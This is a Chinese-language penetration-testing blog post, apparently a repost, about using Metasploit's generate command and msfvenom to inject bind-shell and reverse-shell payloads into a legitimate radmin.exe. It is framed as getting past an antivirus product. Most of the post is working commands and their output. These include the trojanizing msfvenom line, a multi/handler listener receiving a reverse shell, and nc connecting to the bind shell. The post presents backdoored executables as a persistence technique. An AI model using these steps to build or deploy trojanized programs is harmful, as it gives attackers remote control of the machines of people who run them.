记一次payload绕过电脑管家免杀

一、msf命令提示符下generate命令生成

1、首先可以使用show payloads命令查看所有的payload,然后使用use命令选中其中一个。




2、使用generate -h查看命令帮助


generate常用选项解释:
-b 去掉坏字符,例如:-b ‘x00xff’
-e 设置编码方式,可以使用show encoders命令查看所有编码方式
-f 输出格式,不设置默认为ruby语言。例如-f c或-f exe
-i 设置编码次数,一般用作多次编码免杀
-k 保持源模版行为,并将payload作为一个线程注入到一个进程中,常和-x配合使用
-o 输出文件名
-x 定义一个文件作为模版
3、generate命令生成windows/shell_bind_tcp的payload,并注入到radmin程序中

msf5 payload(windows/shell_bind_tcp) > generate -k -x /usr/share/windows-binaries/radmin.exe -f exe -o rradin.exe
[*] Writing 1319424 bytes to rradin.exe...
  
4、生成payload,在靶机打开rradmin.exe后,指定的4444端口被打开,远程使用nc连接如下图

luredeMacBook-Pro:~ lure$ nc 10.10.10.166 4444
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ��

C:UserslovelyDesktop>whoami
whoami
lovely-pclovely

C:UserslovelyDesktop>

 
 

5、有坑注意。msf的payload中有windows/shell/bind_tcp和windows/shell_bind_tcp,其为两个作者所做,经过测试,在使用nc连接windows/shell/bind_tcp生成的payload时,会产生连接成功,但无返回数据的bug。
二、kali下使用msfvenom命令生成

1、使用–list payloads选项查看所有payload

root@kali2020:~# msfvenom --list payloads

Framework Payloads (562 total) [--payload <value>]
==================================================

    Name                                                Description
    ----                                                -----------
    aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                             Spawn a shell on an established connection
    aix/ppc/shell_interact                              Simply execve /bin/sh (for inetd programs)
    aix/ppc/shell_reverse_tcp                           Connect back to attacker and spawn a command shell
    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
    ......

  

2、使用–list-options查看可用参数

root@kali2020:~# msfvenom -p windows/shell_reverse_tcp --list-options
Options for payload/windows/shell_reverse_tcp:
=========================


       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 324
       Rank: Normal

Provided by:
    vlad902 <vlad902@gmail.com>
    sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

 

3、使用msfvenom生成payload并注入到radmin进程中

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.136 LPORT=9876 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o r2admin.exe

    1

root@kali2020:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.136 LPORT=9876 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o r2admin.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 1319424 bytes
Saved as: r2admin.exe


4、靶机运行r2admin,并在攻击机用msfconsole接收反弹shell

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.10.136
lhost => 10.10.10.136
msf5 exploit(multi/handler) > set lport 9876
lport => 9876
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.10.136:9876
[*] Command shell session 1 opened (10.10.10.136:9876 -> 10.10.10.166:50097) at 2020-07-15 23:45:36 -0400

pwd
pwd
'pwd' �����ڲ����ⲿ���Ҳ���ǿ����еij���
�������ļ���

C:UserslovelyDesktop>whoami
whoami
lovely-pclovely

三、小结

msfconsole下的generate与msfvomen命令实际是不同环境下的同一个命令,其功能基本相同,这里我们要学习的重点是使用-k -x 选项将payload注入到可以执行文件exe中,这项技能在实战中后渗透测试的可持久化中经常会被用到。

原文地址:https://www.cnblogs.com/lzkalislw/p/15175156.html